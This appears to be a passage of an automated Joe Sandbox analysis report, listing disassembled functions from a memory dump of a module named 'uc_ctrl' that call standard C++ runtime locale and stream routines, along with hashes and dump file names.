Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C24ED
?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBUtm@@DD@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C252A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C256D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_$??1_?getloc@ios_base@std@@?put@?$time_put@_?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2020279049-0
Opcode ID: 7b166242aea4a5d75abf504c4545c3a35b3da8997a7c5ef28151afa4466b8540
Instruction ID: 6b49bebb11532b54f93aa0af49d7299e957fb8c738ed2126907f4356830e91f5
Opcode Fuzzy Hash: 7b166242aea4a5d75abf504c4545c3a35b3da8997a7c5ef28151afa4466b8540
Instruction Fuzzy Hash: 0C21C334A05208AFCF01DFE4C994EFEBFB5AF58308F144059E205A3345D7B59A42CB91

Function 6D1C0CC0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0CC7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0CF7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0D0D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0D3C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0D89

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 90f102c29d5c926ee59b76d779c670d7fa86e17dbb7abd44f43de8dc6b1742ee
Instruction ID: a8ae04ec1775f75ed9849e957bbb8022b36f1ddd27f9410ea31c231077bcb218
Opcode Fuzzy Hash: 90f102c29d5c926ee59b76d779c670d7fa86e17dbb7abd44f43de8dc6b1742ee
Instruction Fuzzy Hash: 7821D675904148AFCB05DFA8C950BFDBBF4BF68308F15408DF245AB289DBB55A05CBA1

Function 6D1C2770 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2777

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C27A8

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C27BD
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C27FA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C283D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1137270140-0
Opcode ID: b4c6c70be2fe78f9a18d0f3bb28b11f6a27b4528f4ab54d1f18f0b7201d355f5
Instruction ID: e0b4ad764b694b718aa617f9ad3fd3553787ce897f7f57ffcbabcee9e92d9606
Opcode Fuzzy Hash: b4c6c70be2fe78f9a18d0f3bb28b11f6a27b4528f4ab54d1f18f0b7201d355f5
Instruction Fuzzy Hash: 8521C034A05108AFCF02DFE4C894EFEBFB5BF58308F184059E205A3245DBB59A41DBA1

Function 6D1C2E20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2E27

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2E58

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2E6D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C2EAA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2EED

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 1000d32d1345e573d853a5d34030eb2546e84dc83f451c7b93e82edc8ef2080b
Instruction ID: 8d2c0bad14115691eef1e5019501de7091954e7fc1193997f7604b893211937d
Opcode Fuzzy Hash: 1000d32d1345e573d853a5d34030eb2546e84dc83f451c7b93e82edc8ef2080b
Instruction Fuzzy Hash: 0D21C034A05108EFCF02DFE4C894EFEBFB5AF58308F194059E205A3245DBB59A41CBA1

Function 6D1C2680 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2687

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C26B8

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C26CD
?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C270A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C274D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 618236682-0
Opcode ID: e568ef605e435c8142280bdea4da5a2bfaba0ca3129c01576795718424766f95
Instruction ID: 402e9b987db8dd76ba0e22776ed82dfa5e68653966d02b4a4784d046e47dd51f
Opcode Fuzzy Hash: e568ef605e435c8142280bdea4da5a2bfaba0ca3129c01576795718424766f95
Instruction Fuzzy Hash: 2521C334A04208AFCF01DFE4C884EFEBFB5AF58308F184059E205A3245DBB59A52CBA1

Function 6D1C2950 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2957

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2988

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C299D
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C29DA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2A1D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1516647855-0
Opcode ID: 00b4bf15a56fb5571c269801e19191a6f416bf140f0ccc0024b3e29e0f52bfb9
Instruction ID: 1fc78575a168457306f0c6e6596a542ad4fa5d3f78cf210a19d8954033066b95
Opcode Fuzzy Hash: 00b4bf15a56fb5571c269801e19191a6f416bf140f0ccc0024b3e29e0f52bfb9
Instruction Fuzzy Hash: 6F21C034A04208EFCF02DFE4C984EFEBFB5AF58308F184059E205A3245DBB59A41CBA1

Function 6D1C2860 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2867

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2898

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C28AD
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C28EA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C292D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3701595923-0
Opcode ID: e1ab2911fabd94b6d7d6b2a887b975d39d91975c88ce5c74257f4f9408b3abd9
Instruction ID: 6fc4964d44e66c8bab7ede3f86bdf7b3293a68813a0f16b36535103248088368
Opcode Fuzzy Hash: e1ab2911fabd94b6d7d6b2a887b975d39d91975c88ce5c74257f4f9408b3abd9
Instruction Fuzzy Hash: 4B21C034A04208AFCF02DFE4C884EFEBFB5AF58308F184059E205A3245DBB59A41CBA1

Function 6D1C6060 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6067

Part of subcall function 6D1BFE8C: __EH_prolog3.LIBCMT ref: 6D1BFE93
Part of subcall function 6D1BFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1BFEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C6098

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9550: __EH_prolog3.LIBCMT ref: 6D1B9557
Part of subcall function 6D1B9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE5C0,?,?,00000000), ref: 6D1B9562
Part of subcall function 6D1B9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1B957A
Part of subcall function 6D1B9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1B95DE

std::locale::~locale.LIBCPMT ref: 6D1C60AD
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C60EA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C612D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: 34ea6b4e0461cb684c73d040ae21d4b11d018c5439c6996b84e6fdd3b83305d1
Instruction ID: c5252e6a4cde3bc5dc5ddeafeb63ea970528cc0aedd55a53346832b112f0ddd4
Opcode Fuzzy Hash: 34ea6b4e0461cb684c73d040ae21d4b11d018c5439c6996b84e6fdd3b83305d1
Instruction Fuzzy Hash: 5921AE74A05108AFCF01DBE8C850AFEBFB5AF58308F184059E209A3246DBB55A51CBA1

Function 6D1C4080 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4087

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C40B7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C40CD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6D1C40FC
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4149

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: ac1181ce306cc7cb5eeca9f3c57a30afc723584488e06e98d47bffa16fd480c0
Instruction ID: bfb109492e60561919106f38dbc9ad14e8ea66b00184b2dcaf2e3b9c126fce77
